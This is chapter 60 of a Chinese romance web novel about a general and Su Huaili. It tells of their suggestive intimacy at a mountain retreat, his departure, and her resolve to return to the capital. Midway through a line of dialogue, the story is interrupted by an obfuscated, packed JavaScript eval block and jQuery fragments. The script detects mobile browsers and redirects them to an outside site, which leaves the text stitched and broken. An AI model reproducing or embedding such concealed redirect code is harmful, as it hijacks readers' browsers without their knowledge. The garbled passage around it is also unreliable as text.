60. 分别

作品:《大将军对我念念不忘

    迷迷糊糊之间,她勉为其难地点了点头,祝无恙欣喜若狂,权当她是开口应了他的请求,哪怕明日起身后,她忘了今日的承诺,他也要软磨硬泡让她留下!


    他将人紧紧抱入怀中,暖黄的烛光下,墨黑的眸底仿佛闪着灼亮的色彩,屋内红色蜡烛燃得旺,发出哔哔啵啵的声响,红绡帐下,女子面若桃花,貌胜芙蓉,于他而言,何尝不是洞房花烛?


    滴滴更漏声传来,床榻因承受不住猛烈的冲击而发出的阵阵摇晃声,终在绰绰烛影中停了下来。


    他终于不舍地放过她,今日虽然尽兴了三次,远远不够纾解对她的想念。


    但来日方长,他想。


    自那日起,某人尝了甜头之后,苏怀黎便被迫陷入颠三倒四的作息,有时醒来是日上三竿,有时醒来却是在深更半夜,夜晚,她被某人哄着扶抱起来,说是她劳累过度需要吃点东西补充体力。


    一开始她还纵容某人沉溺情/色的行径,直到她首次尝试下床,双腿一触及地面便绵软无力地跌落在床阶上,最后被祝无恙抱着床吃饭后,她终于忍无可忍,在他又一次求/欢时,使尽浑身力气一脚踹在他脸上。


    “我不做了!”苏怀黎涨红了脸,狠狠道。


    真要深究起来,两人并未做到底,虽然更加胆大妄为、肆无忌惮的事两人都尝试了个遍,但终归没有迈过那道防线。


    因为他怕出意外。


    前世苏怀黎身子绵薄,难为以怀上子嗣,两人又是名正言顺的夫妻,是以,床笫之间几乎不做任何措施,但今时今日大为不同,她的身体日渐好转,哪怕相互之间再贪恋对方的身体,也不能迈出最后一步,难保放肆之后,不会出现意想不到的结果。


    这几日,祝无恙使尽浑身解数极尽讨好她,苏怀黎一开始还乐在其中,直至一浪高过一浪的冲击榨干了她最后一丝力气,她不得已咬牙做出了反抗。


    内心无不悲号,怎么比做到最后还累!


    被她踹了一脚之后,祝无恙老实了许多,踏实抱着暖香温玉沉沉入睡,不敢再有任何小动作。


    *


    长风每日都会进山汇报京畿部署进展,“徐繁”屡次怠慢执行命令让贺绍疑心大作,贺绍便直接越过他对禁卫军发号施令,焚音堂的暗卫在京畿的行动受到了轻微阻碍,不过总体而言还算是顺利。


    祝无恙攥着手里的朱砂令牌,心下不知是喜还是忧,理智告诉他,兵力部署越是顺利,他便能尽早达成目的,可当他望着床上酣睡之人,却又希望那日可以来得再迟一些。


    除了长风每日到访山中小院,其余时间并无任何人打扰他们,当然,每日清晨都会送补给食材上山的侍卫可忽略不计。


    祝无恙渐渐放宽了心,开始研究起各类美食食谱,变着法地犒劳苏怀黎,她爱吃的梅酱小排是他最擅长的,但吃多了难免有些腻味,于是他又着手研究其他精致的江淮菜。


    例如蟹粉狮子头、花雕醉沼虾、雪山豆腐,饭后再备上一份香甜可口的点心,苏怀黎一日进食的量堪比往日两日进食量,短短几日,她素来清瘦的脸颊却罕见显露出丰腴之态。


    这日,苏怀黎终于休息够了,下床走出主屋,在庭院中用午膳,她用着祝无恙切好的小块的狮子头,沐浴着午间暖阳,心下十分满足。


    现下已是孟秋,难得还有如此温暖明媚的阳光,林中的丹桂未完全盛放,空气中却隐隐飘荡着桂花的香气,令人神怡心醉。


    祝无恙替她盛了一碗老鸭汤,见她有些出神又嘱咐道:“阿黎,小心烫。”


    苏怀黎点头接过,浅尝了一口,夸赞道:“祝将军的厨艺突飞猛进,日后军中的伙头兵见你莫不是都要黯然失色了?”


    祝无恙挑眉:“旁的人哪有像你这般的福气?军中的男人个个都糙惯了,只吃得惯肉饼火烧馍,哪能尝得了这些?”


    不过,这份夸赞对他来说十分受用,未等她尝完这道菜,他又开始推荐起今早研究了一个时辰的桂花甜羹。


    见他神色憨憨,满脸期待地看着她,哪还有大将军的样子,苏怀黎失笑道:“好好好,我马上尝尝。”


    半晌后,他突然道:“后山的灵泉我已经差人换了水,你若是觉得身子还不爽快,饭后可去泡下灵泉松快下身子,解解乏。”


    苏怀黎当即一愣,又骤然涨红了脸,险些被入口桂花羹呛到。


    起因是那日她泡完灵泉后被祝无恙磨/得腿酸,第二日起身后非要嚷嚷着去泡灵泉,却见他神色极为不自然,忸怩万状,好似在遮掩什么,最后含糊其辞道:“灵泉的水弄脏了,昨日我又忘了吩咐人及时换水,改日再去吧。”


    苏怀黎愣愣不解,好端端的活水温泉,又不是将军府的浴桶,怎会泡了一次就脏了?她瞥见祝无恙难得绯红的脸颊,犹如当头一棒,恍然大悟,恨不得找个地洞钻进去,便再也不提泡灵泉一事了。


    祝无恙表面上对此事绝口不提,行动倒是极快的,但毕竟是自己干的坏事,他刻意瞒了两日,现下才同她说。


    本来已经全部抛却脑后的羞愤骤然回笼,苏怀黎尴尬得都快端不稳手上的桂花羹了。


    周遭的空气在此刻忽而凝滞住。


    少顷后,她轻咳一声,打破僵局:“这碗桂花羹味道清香甘甜,是用这林中的桂花做的?”


    这话题转移得有些生硬,但好歹也是给双方一个台阶下。


    祝无恙搅动手中的白瓷勺,也往口中送了一勺桂花羹:“现下还是七月,林中的桂花开得还不够茂盛,这碗中的桂花,是在山下的集市采买的,还需等到八月,才是丹桂飘香的时节。”


    距离桂花飘香的时节还有一段时日,苏怀黎不禁感慨:“八月必然是金风拂面,山中桂满林,若是能在此地待在八月便好了。”


    话音刚落,氛围突然陷入一阵沉默,二人心知肚明,等不到八月,他们就要离开这山中小院,她并未催促着回苏府,但心中隐隐猜测到,婚礼怕是不会来了。


    往后的几日,秋意渐浓,渐渐少了阳光普照的好天气,山中终归是清寒了几分,苏怀黎重新穿上了绒面长衫,露天的庭院抵不住淅淅沥沥的秋雨,吃饭的小桌便从庭院搬到了屋内,祝无恙担心秋雨的湿冷惹她着凉生病,便早早地屋内燃起炭火。


    她一面说他小题大做,一面又忍不住贪恋炭火的温暖,两人就这样依偎在屋内,有一搭没一搭地聊着。


    直至末了,祝无恙握着她的手,轻声道:“我明日要离开一趟。”


    苏怀黎指尖微顿,一块终日悬在心上的石头终于落了地,半晌后,她出声应道:“好。”


    不问去哪,不问归期,只说了一句好。


    他疑惑蹙眉:“你不多问问?”


    她释然一笑,摇了摇头:“不问了。”


    一方面是对他全然的信任,另一面,对于京中的情况她心下已经有了七八成猜测,说多了空余惆怅罢了。


    见她眉眼间淡淡的释怀,祝无恙心底更是升起一阵心疼,他抬手抚过她的眉眼,轻声道:“你若喜欢此处,大可一直在这待着,不必受世俗之事困扰,日后自会有人上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455822|163872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    山接应你。”


    对于他的提议,苏怀黎没说好,也没说不好,只是抬眸深深地望着他,少顷后,发出一声微不可闻的叹息。


    翌日,苏怀黎并未像以往那样睡到日上三竿才醒,但醒来时枕畔却是一片冰冷,唯余淡淡的雪松香。


    祝无恙走了,可能是怕她睡不安稳,离开时并未与她告别,这亦是他一贯作风,若当真留下告别,恐怕就走不成了。


    苏怀黎无心沉溺于伤春悲秋的情怀,很快地振作起来,听见一阵轻盈的脚步声传来,她抬眸一看,面露惊喜:“霜月?”


    霜月正端着她的换洗衣服进屋,见她醒了,急忙搁下手中的木盘,一脸讶异道:“夫人,您醒啦?将军说您早上睡得沉,起得晚,奴婢怕早膳凉得快,这会儿便还没做好,您等等,奴婢现在就去准备早膳。”


    见她向来冷静沉稳的脸上生出几分无措,苏怀黎无端觉得很有喜感,忙喊住她交代道:“不用着急,慢慢来。”


    苏怀黎刚穿好衣服,霜月就端着早膳进来,如往常一样雷厉风行,早膳依旧是清粥小菜,做饭这方面霜月比不上祝无恙费尽思心花样百出,不过晨起时,她的胃口向来不太好,用了几口就饱腹了。


    昨日潇潇秋雨渐停,清晨笼罩在山间薄雾未彻底驱散,晨光熹微,隐约有晴空万里之势,这会儿要是下山,少不了走一段泥泞小路,苏怀黎不疾不徐地用完早膳,又让霜月侍候梳妆,巳时一过,她便吩咐道:“收拾一下院中细软,准备下山吧。”


    霜月愣了一愣,有些纠结道:“夫人……”


    “嗯。”她应了一声,“他走时可有叮嘱你什么?”


    霜月沉默了半刻,随后将祝无恙的叮嘱都说给她听,说一千道一万,吩咐的内容无非是把夫人照顾好。


    此前在将军府的时候,祝无恙也交代过她,但今早的语气与那时有些细微的不同,当时二人在闹别扭,他说的话难免生硬了些,今早她却见祝无恙眉眼间笼罩了淡淡的不舍与忧愁,好似不舍新婚妻子的丈夫。


    他交代道,务必要照顾好她,拜托了。


    霜月从未见过将军这副模样,更别说那句“拜托了”,她更是承受不住,慌忙跪地道:“霜月在此发誓,无论遇到什么艰难险阻,就算是豁出这条命也要护夫人周全!”


    苏怀黎又问道:“那他可曾交代过不让我下山?”


    霜月摇了摇头,可是山下的危险她又何尝不知道?前阵子,焚音堂几乎所有暗卫都收到了命令,而唯独少数人比如她被安排在了苏怀黎身边伺候,如今的京城已是龙潭虎穴,她并不想让夫人冒险。


    见霜月一脸为难,苏怀黎轻轻地叹了口气,看来京中的局势比她想像中还要不容乐观,皇后死于非命,贺绍没有了倚靠,极有可能一不做二不休,行极端之事,此刻若是兵变,几乎没有人能与之抗衡,早在数月前祝无恙就将兵马调回了西北。


    他旁敲侧击想要让她留在凤凰山,无非是不想让她涉险,可饶是她再贪恋山中的日子,又怎能一躲再躲?


    她还有父母亲人在京中,她得回去。


    苏怀黎神色忽而微凝,从怀中掏出一块朱砂令牌,抬起示意,霜月见状神色变得尤为肃穆,这朱砂令牌是焚音堂中少有能调遣暗卫的令牌,见令牌如见将军本人。


    这块令牌,是苏怀黎今日晨起时在枕头底下发现的,祝无恙既然特意留下,想来必有其用处。


    她眉眼间不见一丝温和,沉声命令道:“既然如此,立刻护我下山,送我回苏府,不得有误。”